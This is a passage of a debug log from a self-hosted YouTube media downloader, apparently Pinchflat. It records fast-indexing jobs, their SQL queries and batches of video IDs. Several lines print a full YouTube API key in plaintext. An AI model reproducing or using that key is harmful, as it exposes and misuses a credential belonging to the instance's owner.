"Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 17:25:23.962 [debug] QUERY OK source="media_items" db=0.3ms idle=189.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 17:25:23.962 [debug] QUERY OK source="tasks" db=0.1ms idle=189.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268462, 47, ~U[2026-10-09 22:25:23Z], ~U[2026-10-09 22:25:23Z]] 17:25:23.963 [info] {"args":{"id":47},"id":5268423,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190821,"event":"job:stop","queue_time":1032037,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.969 [info] {"args":{"id":32},"id":5268424,"meta":{},"system_time":1791584723969277278,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.969 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:25:23.969 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.970 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:23.970 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.970 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:25:23.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.970 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:24.227 [debug] QUERY OK source="media_items" db=0.7ms idle=256.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 17:25:24.229 [debug] QUERY OK source="media_items" db=1.2ms idle=257.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:25:24.229 [debug] QUERY OK source="tasks" db=0.1ms idle=259.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268463, 32, ~U[2026-10-09 22:25:24Z], ~U[2026-10-09 22:25:24Z]] 17:25:24.230 [info] {"args":{"id":32},"id":5268424,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":260612,"event":"job:stop","queue_time":913235,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.236 [info] {"args":{"id":24},"id":5268425,"meta":{},"system_time":1791584724236401929,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.236 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:25:24.236 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.237 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:24.237 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.237 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:25:24.237 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.237 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:24.482 [debug] QUERY OK source="media_items" db=0.7ms idle=245.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 17:25:24.484 [debug] QUERY OK source="media_items" db=0.2ms idle=246.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:25:24.485 [debug] QUERY OK source="tasks" db=0.1ms idle=142.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268464, 24, ~U[2026-10-09 22:25:24Z], ~U[2026-10-09 22:25:24Z]] 17:25:24.485 [info] {"args":{"id":24},"id":5268425,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":248617,"event":"job:stop","queue_time":954185,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.491 [info] {"args":{"id":15},"id":5268426,"meta":{},"system_time":1791584724491230517,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.491 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:25:24.491 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.492 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:24.492 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.492 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:25:24.492 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.492 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:24.633 [debug] QUERY OK source="media_items" db=0.7ms idle=140.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 17:25:24.634 [debug] QUERY OK source="media_items" db=0.4ms idle=141.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:25:24.634 [debug] QUERY OK source="tasks" db=0.1ms idle=142.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268465, 15, ~U[2026-10-09 22:25:24Z], ~U[2026-10-09 22:25:24Z]] 17:25:24.635 [info] {"args":{"id":15},"id":5268426,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":143779,"event":"job:stop","queue_time":940415,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.641 [info] {"args":{"id":3},"id":5268427,"meta":{},"system_time":1791584724641193160,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:24.641 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:25:24.641 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.641 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:24.642 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.642 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:25:24.642 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:24.642 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:24.841 [debug] QUERY OK source="media_items" db=0.7ms idle=199.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", 